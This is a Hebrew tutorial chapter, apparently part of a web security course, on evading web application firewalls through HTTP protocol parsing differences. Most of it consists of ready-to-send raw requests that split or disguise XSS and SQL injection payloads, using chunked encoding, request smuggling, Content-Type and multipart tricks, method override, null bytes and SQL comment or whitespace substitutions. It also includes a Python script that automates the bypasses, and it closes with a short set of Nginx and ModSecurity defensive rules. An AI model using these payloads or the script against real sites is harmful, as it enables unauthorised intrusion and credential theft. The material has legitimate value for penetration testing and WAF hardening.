עקיפה ברמת פרוטוקול - Protocol-level WAF Bypass¶
הרעיון המרכזי¶
ה-WAF חייב לפרסר את בקשת ה-HTTP כדי לבדוק אותה. אם נשלח בקשה בצורה שה-WAF מפרסר באופן שונה מהשרת, נוכל להחביא את המטען הזדוני. הפער בין פרסרים (parser differential) הוא הבסיס לכל הטכניקות בפרק זה.
עקיפה באמצעות Chunked Transfer Encoding¶
כיצד Chunked Encoding עובד¶
ב-HTTP/1.1, במקום לציין Content-Length, אפשר לשלוח את הגוף בחתיכות (chunks). כל חתיכה מתחילה בגודלה בהקסדצימלי:
המבנה: גודל בהקס, שורה חדשה, נתונים, שורה חדשה, ואז 0 לסיום.
פיצול מטען בין chunks¶
POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
3
q=<
3
scr
3
ipt
9
>alert(1
b
)</script>
0
ה-WAF רואה כל chunk בנפרד ולא מרכיב את התמונה המלאה. השרת מרכיב את כל ה-chunks ומקבל: q=<script>alert(1)</script>
פיצול מטען SQLi¶
POST /api/data HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
5
id=1'
7
UNION
7
SELECT
8
password
b
FROM user
3
s--
0
השרת מרכיב: id=1' UNION SELECT password FROM users--
טריק Transfer-Encoding מורכב¶
חלק מה-WAFs לא מטפלים נכון בווריאציות של כותרת Transfer-Encoding:
# רווח לפני הערך
Transfer-Encoding: chunked
# טאב לפני הערך
Transfer-Encoding: chunked
# אותיות גדולות
Transfer-Encoding: Chunked
# כותרת כפולה
Transfer-Encoding: chunked
Transfer-Encoding: identity
# עם פרמטר מזויף
Transfer-Encoding: chunked; q=0.5
# שורה חדשה (line folding, deprecated)
Transfer-Encoding:
chunked
CL.TE ו-TE.CL Smuggling¶
כאשר גם Content-Length וגם Transfer-Encoding נשלחים, נוצר פער:
# CL.TE: WAF משתמש ב-Content-Length, שרת ב-Transfer-Encoding
POST /search HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
q=<script>alert(1)</script>
ה-WAF קורא 6 בתים (0\r\n\r\nq) וחושב שזה הגוף. השרת רואה chunk באורך 0 (סוף), ואז מתחיל לפרסר את הבקשה הבאה שמתחילה ב-q=<script>....
אי-התאמת Content-Type¶
JSON בגוף עם Content-Type שגוי¶
POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
{"username":"admin","password":"' OR 1=1--"}
ה-WAF מפרסר כ-form-urlencoded: מפתח = {"username":"admin","password":"' OR 1=1--"}, ערך = ריק. הוא לא מזהה את ה-SQLi בתוך ה-JSON.
השרת (אם מקבל JSON בכל מקרה) מפרסר כ-JSON ומקבל את ה-SQLi.
Content-Type: multipart/form-data¶
POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
------WebKitFormBoundary--
חלק מה-WAFs לא בודקים guf של multipart כמו שהם בודקים form-urlencoded.
החלפה מ-form-urlencoded ל-multipart¶
# בקשה מקורית (נחסמת)
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
q=<script>alert(1)</script>
# אותה בקשה כ-multipart (עשויה לעבור)
POST /search HTTP/1.1
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
--X--
מניפולציית Multipart Boundary¶
Boundary מורכב¶
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAA----BBBB----CCCC----DDDD----EEEE
------AAAA----BBBB----CCCC----DDDD----EEEE
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<script>alert(1)</script>
------AAAA----BBBB----CCCC----DDDD----EEEE--
Boundary עם תווים מיוחדים¶
# גודל שונות ב-boundary
Content-Type: multipart/form-data; boundary=AaAaAa
# boundary עם מרכאות
Content-Type: multipart/form-data; boundary="----boundary----"
# boundary ארוך מאוד (חלק מה-WAFs חותכים)
Content-Type: multipart/form-data; boundary=AAAAAA....(200 תווים)....AAAAAA
כפל boundaries¶
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=first; boundary=second
--second
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
--second--
ה-WAF עשוי להשתמש ב-boundary הראשון (first) ולא למצוא חלקים. השרת עשוי להשתמש באחרון (second) ולפרסר את המטען.
דריסת שיטת HTTP - Method Override¶
כותרת X-HTTP-Method-Override¶
# WAF בודק רק GET requests, לא POST
# שולחים POST עם override ל-GET
POST /search?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0
פרמטר _method¶
ב-frameworks כמו Rails ו-Laravel:
POST /admin/users/1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=DELETE&confirm=true
השרת מתייחס לבקשה כ-DELETE, אבל ה-WAF רואה POST.
# דריסה עם _method ב-URL
POST /admin/users/1?_method=PUT HTTP/1.1
Content-Type: application/x-www-form-urlencoded
role=admin
כותרות override נוספות¶
עקיפות ב-HTTP/2¶
מאפיינים ייחודיים של HTTP/2¶
פרוטוקול HTTP/2 הוא בינארי (לא טקסטואלי), ותומך ב-header compression (HPACK). חלק מה-WAFs ממירים HTTP/2 ל-HTTP/1.1 לפני בדיקה, ובהמרה נוצרים פערים.
# HTTP/2 מאפשר כותרות עם אותיות קטנות בלבד
# אבל שרתים מסוימים מקבלים גם אותיות גדולות
# HTTP/2 pseudo-headers
:method: POST
:path: /search?q=<script>alert(1)</script>
:authority: target.com
H2C Smuggling¶
# שדרוג ל-HTTP/2 cleartext
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
Connection: Upgrade, HTTP2-Settings
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
# WAF עשוי לא לבדוק תעבורה ב-h2c
הזרקת Null Byte¶
Null byte (%00) מסיים מחרוזות בשפות C-based. חלק מה-WAFs עוצרים לקרוא בנתקלם ב-null byte:
# WAF קורא עד ה-null byte ורואה רק "q=safe"
GET /search?q=safe%00<script>alert(1)</script> HTTP/1.1
# בשפות כמו PHP, ה-null byte לא תמיד מסיים את המחרוזת
# אז השרת מקבל את כל הערך
# null byte ב-path
GET /admin%00.html HTTP/1.1
# WAF רואה בקשה ל-.html (מותר)
# שרת ישן מנתב ל-/admin
# null byte ב-SQLi
GET /page?id=1'%00 UNION SELECT 1-- HTTP/1.1
# WAF רואה id=1' (ללא ה-UNION)
# פרסר SQL מתעלם מ-null byte
הערות SQL לעקיפת כללים מבוססי רווחים¶
הערות כתחליף רווח¶
-- WAF חוסם "UNION SELECT" (עם רווח)
-- נשתמש בהערה במקום רווח
UNION/**/SELECT
UNION/*anything here*/SELECT
UNION/*aaa*/SELECT/*bbb*/1
-- דוגמה מלאה
1'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--
הערות מקוננות (MySQL)¶
-- MySQL תומך בהערות מקוננות עם סימון מיוחד
/*!UNION*/ /*!SELECT*/ 1
/*!50000UNION*/ /*!50000SELECT*/ 1
-- /*!50000 ... */ מתבצע רק ב-MySQL גרסה 5.00.00 ומעלה
-- דוגמה מלאה
1'/*!50000UNION*//*!50000SELECT*/username,password/*!50000FROM*/users--
הערות בהקשרים שונים¶
<!-- הערות HTML -->
<scr<!-- comment -->ipt>alert(1)</script>
<!-- הדפדפן מתעלם מההערה בתוך תגית? תלוי בדפדפן -->
תחליפי רווח - Whitespace Alternatives¶
תווי רווח חלופיים ב-HTTP¶
# רווח (0x20) - הסטנדרטי
# טאב (0x09) - מתקבל ברוב הפרסרים
# Line feed (0x0a)
# Carriage return (0x0d)
# Form feed (0x0c)
# Vertical tab (0x0b)
תחליפי רווח ב-SQL¶
-- טאב במקום רווח
1'%09UNION%09SELECT%091--
-- שורה חדשה במקום רווח
1'%0aUNION%0aSELECT%0a1--
-- Carriage return + Line feed
1'%0d%0aUNION%0d%0aSELECT%0d%0a1--
-- סוגריים כתחליף רווח (MySQL)
1'UNION(SELECT(1))
-- הערות כרווח
1'UNION/**/SELECT/**/1
-- שילוב
1'%09UNION/*%0a*/SELECT%0b1--
תחליפי רווח ב-XSS¶
<!-- טאב במקום רווח -->
<img%09src=x%09onerror=alert(1)>
<!-- slash כמפריד -->
<svg/onload=alert(1)>
<!-- שורה חדשה -->
<img%0asrc=x%0aonerror=alert(1)>
<!-- form feed -->
<img%0csrc=x%0conerror=alert(1)>
Line Folding - קיפול שורות¶
טכניקה ישנה שנשמרת בחלק מהשרתים (deprecated ב-HTTP/1.1):
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-
Length: 100
Transfer-Encoding:
chunked
4
q=<s
6
cript>
8
alert(1)
9
</script>
0
כותרת Content-Length מפוצלת לשתי שורות עם רווח בתחילת השורה השנייה. חלק מהפרסרים מכבדים line folding וחלק לא.
דוגמאות מלאות של בקשות HTTP¶
דוגמה 1 - Chunked + Encoding¶
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
7
q=1%27%20
5
UNION
1
7
%20SELEC
6
T%201--
0
דוגמה 2 - Content-Type Mismatch + HPP¶
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
{"username":"admin","password":"admin","password":"' OR 1=1--"}
דוגמה 3 - Multipart + Null Byte¶
POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----bound
------bound
Content-Disposition: form-data; name="q"
safe%00<script>alert(1)</script>
------bound--
דוגמה 4 - Method Override + SQLi¶
POST /api/users?id=1'%20UNION%20SELECT%20password%20FROM%20users-- HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0
סקריפט אוטומטי לעקיפה ברמת פרוטוקול¶
import socket
import ssl
def send_raw_request(host, port, request, use_ssl=False):
"""שליחת בקשת HTTP גולמית"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=host)
sock.connect((host, port))
sock.send(request.encode())
response = b""
while True:
data = sock.recv(4096)
if not data:
break
response += data
sock.close()
return response.decode(errors='replace')
def chunked_bypass(host, port, path, payload):
"""שליחת מטען מפוצל ב-chunks"""
# פיצול המטען לחתיכות של 3 בתים
chunks = [payload[i:i+3] for i in range(0, len(payload), 3)]
body = ""
for chunk in chunks:
body += f"{len(chunk):x}\r\n{chunk}\r\n"
body += "0\r\n\r\n"
request = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"{body}"
)
return send_raw_request(host, port, request)
def content_type_mismatch(host, port, path, json_payload):
"""שליחת JSON עם Content-Type שגוי"""
request = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(json_payload)}\r\n"
f"\r\n"
f"{json_payload}"
)
return send_raw_request(host, port, request)
# שימוש
host = "target.com"
port = 80
# עקיפה עם chunked encoding
response = chunked_bypass(host, port, "/search", "q=<script>alert(1)</script>")
print(f"Chunked bypass: {response[:200]}")
# עקיפה עם content-type mismatch
response = content_type_mismatch(
host, port, "/api/login",
'{"username":"admin","password":"\' OR 1=1--"}'
)
print(f"Content-Type mismatch: {response[:200]}")
הגנה - פרסור HTTP קפדני¶
# Nginx - חסימת transfer-encoding חשוד
# דחיית בקשות עם שתי כותרות encoding
if ($http_transfer_encoding ~* "chunked.*chunked") {
return 400;
}
# דחיית בקשות עם CL ו-TE ביחד
if ($http_content_length != "" ) {
set $cl_exists 1;
}
if ($http_transfer_encoding != "") {
set $te_exists 1;
}
# ModSecurity - טיפול בפרוטוקול
# דחיית chunked encoding עם content-length
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
"chain,id:1001,phase:1,deny"
SecRule REQUEST_HEADERS:Content-Length "!^$" \
"msg:'Both CL and TE headers present'"
# דחיית method override
SecRule REQUEST_HEADERS:X-HTTP-Method-Override "!^$" \
"id:1002,phase:1,deny,\
msg:'Method override attempt'"
# בדיקת content-type consistency
SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
"chain,id:1003,phase:2,deny"
SecRule REQUEST_BODY "^\s*\{" \
"msg:'JSON body with form content-type'"
עקרונות:
1. פרסור קפדני - לדחות בקשות לא סטנדרטיות
2. עקביות - וידוא ש-Content-Type תואם לגוף
3. חד-משמעיות - דחיית בקשות עם CL ו-TE ביחד
4. חסימת method overrides אם לא נדרשים
5. הגבלת גודל chunks ומספר chunks
סיכום¶
עקיפות ברמת פרוטוקול מנצלות את ההבדלים בין איך ה-WAF ואיך השרת מפרשים את בקשת ה-HTTP. Chunked encoding, Content-Type mismatch, multipart manipulation, method override, null bytes, והערות SQL - כולם כלים שמנצלים parser differentials. הטכניקות האלו עוצמתיות במיוחד בשילוב עם טכניקות קידוד מהשיעורים הקודמים.